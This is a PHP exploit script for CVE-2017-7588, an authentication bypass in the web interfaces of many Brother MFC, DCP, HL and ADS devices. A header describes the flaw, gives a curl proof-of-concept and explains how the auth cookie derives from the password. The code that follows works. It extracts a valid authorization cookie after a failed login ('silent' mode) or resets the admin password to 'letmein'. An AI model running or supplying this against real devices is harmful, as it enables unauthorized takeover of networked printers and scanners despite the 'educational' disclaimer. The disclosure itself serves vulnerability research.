1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
<?php /* # Title: Brother Devices Web Auth Bypass / Change Password Exploit # Vendor: Brother (http://www.brother.com/) # Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info # Release date: 11.04.2017 # CVE: CVE-2017-7588 # Author: Patryk Bogdan (@patryk_bogdan) -- Description: Most of Brother devices web authorization can be bypassed through trivial bug in login proccess. Even after failed login attempt, in http response headers appears valid authorization cookie. PoC for MFC-J6520DW: usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; -- Modes: silent: Gives authorized cookie without changing password, so you can login without getting noticed. changepass: Change login password to the one you provided. Note: Authorization cookie is fixed and it is created as following: Plaintext password --> ASCII hex --> md5 (e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password) This information can be used to crack current password from exported cookie. Fix: Minimize network access to Brother MFC device or disable HTTP(S) interface. Confirmed vulnerable: MFC-J6973CDW MFC-J4420DW MFC-8710DW MFC-J4620DW MFC-L8850CDW MFC-J3720 MFC-J6520DW MFC-L2740DW MFC-J5910DW MFC-J6920DW MFC-L2700DW MFC-9130CW MFC-9330CDW MFC-9340CDW MFC-J5620DW MFC-J6720DW MFC-L8600CDW MFC-L9550CDW MFC-L2720DW DCP-L2540DW DCP-L2520DW HL-3140CW HL-3170CDW HL-3180CDW HL-L8350CDW HL-L2380DW ADS-2500W ADS-1000W ADS-1500W For educational purposes only. */ /* ----------------------------- */ $address = "http://192.168.1.111"; //$mode= "silent"; $mode= "changepass"; $newpass = "letmein"; /* ----------------------------- */ $user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0'; $address = preg_replace('{/$}', '', $address); libxml_use_internal_errors(true); function getPwdValue($address) { global $user_agent; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html"); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_COOKIE, getCookie($address)); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); $dom = new DOMDocument(); $dom->loadHTML($content); $inputs = $dom->getElementsByTagName('input'); foreach($inputs as $i) { if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') { return $i->getAttribute('name'); } } } function getLogValue($address) { global $user_agent; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); $dom = new DOMDocument(); $dom->loadHTML($content); if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) { print 'Seems like password is not set! Exiting.'; exit; } $value = $dom->getElementById('LogBox')->getAttribute('name'); return $value; } function getCookie($host) { global $address, $user_agent; $log_var = getLogValue($address); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/general/status.html"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html"); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); if($content == true) { $cookies = array(); preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies); if(!empty($cookies['cookie'])) { $exploded = explode(';', $cookies['cookie'][0]); } else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; } } else { print 'Got error requesting '.$address.' address - check your settings'; exit; } return trim($exploded[0]); } if($mode === "silent") { print 'Here\'s your authorization cookie: '.getCookie($address); } elseif ($mode === "changepass") { global $address, $newpass; $cookie= getCookie($address); $pwd_var = getPwdValue($address); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $content = curl_exec($ch); if($content == true) { print 'Password changed to: '.$newpass; } else { print 'Got error requesting '.$address.' address - check your settings'; exit; } } ?> |